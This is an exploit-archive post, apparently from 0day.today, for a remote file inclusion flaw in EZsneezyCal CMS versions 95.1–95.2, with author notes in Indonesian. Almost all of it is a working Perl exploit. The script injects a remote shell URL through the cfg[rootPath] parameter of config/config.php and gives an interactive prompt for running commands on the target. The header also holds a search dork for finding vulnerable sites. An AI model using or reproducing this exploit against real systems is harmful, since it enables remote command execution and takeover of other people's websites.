====================================================== EZsneezyCal CMS 95.1-95.2 File Inclusion Vulnerability ====================================================== #!/usr/bin/perl ##### # [+] Author : kaMtiEz # [+] Date : September 30, 2009 # [+] Homepage : http://www.indonesiancoder.com # [+] Vendor : http://www.jdtmmsm.com/ # [+] Download : http://www.jdtmmsm.com/downloads/index.php?expA=1 # [+] version : v95.1 - 95.2 # [+] Method : Remote File Inclusion # [+] Dork : "Kill-9"+"IndonesianCoder" # [+] Location : INDONESIA # [~] Notes : # makasih buad babe and enyak ma ade .... muach .. # sayang jangan marah dong .. maaf kemarin bangun jam 8 malem .. :( # buat vycOd kuliah coy ojo fbnan wae ! wkwkwkwk # pagi jam 10 ditemani don tukulesto .. dan setelah mencoba akhirnya dapet vuln .. zzzzzzzzzzzzzzzzz # Aura Kasih : Apakah harus kaMtiEz, atau Don Tukulesto yang aku pilih ? # [~] Usage : # perl kaMz.pl # perl kaMz.pl http://127.0.0.1/path/ http://www.site.org/shell.txt cmd # Weapon example: ##### use HTTP::Request; use LWP::UserAgent; $Tux = $ARGV[0]; $Pathloader = $ARGV[1]; $oliv = $ARGV[2]; if($Tux!~/http:\/\// || $Pathloader!~/http:\/\// || !$oliv){usage()} head(); sub head() { print "[X]============================================================================[X]\r\n"; print " | EZsneezyCal CMS Remote File Inclusion |\r\n"; print "[X]============================================================================[X]\r\n"; } while() { print "[w00t] \$"; while() { $kamz=$_; chomp($kamz); $xpl = LWP::UserAgent->new() or die; $req = HTTP::Request->new(GET =>$Tux.'config/config.php?cfg[rootPath]='.$Pathloader.'?&'.$oliv.'='.$kamz)or die "\nCould Not connect\n"; $res = $xpl->request($req); $return = $res->content; $return =~ tr/[\n]/[I]/; if (!$kamz) {print "\nPlease Enter a Command\n\n"; $return ="";} elsif ($return =~/failed to open stream: HTTP request denied!/ || $return =~/: Cannot execute a blank command in /) {print "\nCann't Connect to cmd Host or Invalid Command\n";exit} elsif ($return =~/^.Fatal.error/) {print "\nInvalid Command or No Return\n\n"} if($return =~ /(.*)/) { $finreturn = $1; $finreturn=~ tr/[I]/[\n]/; print "\r\n$finreturn\n\r"; last; } else {print "[w00t] \$";}}}last; sub usage() { head(); print " | Usage: perl kaMz.pl |\r\n"; print " | - Full path to execute ex: http://127.0.0.1/path/ |\r\n"; print " | - Path to Shell e.g http://www.indonesiancoder.org/shell.txt |\r\n"; print " | - Command variable used in php shell |\r\n"; print "[X]============================================================================[X]\r\n"; exit(); } # 0day.today [2018-02-09] #

Query Builder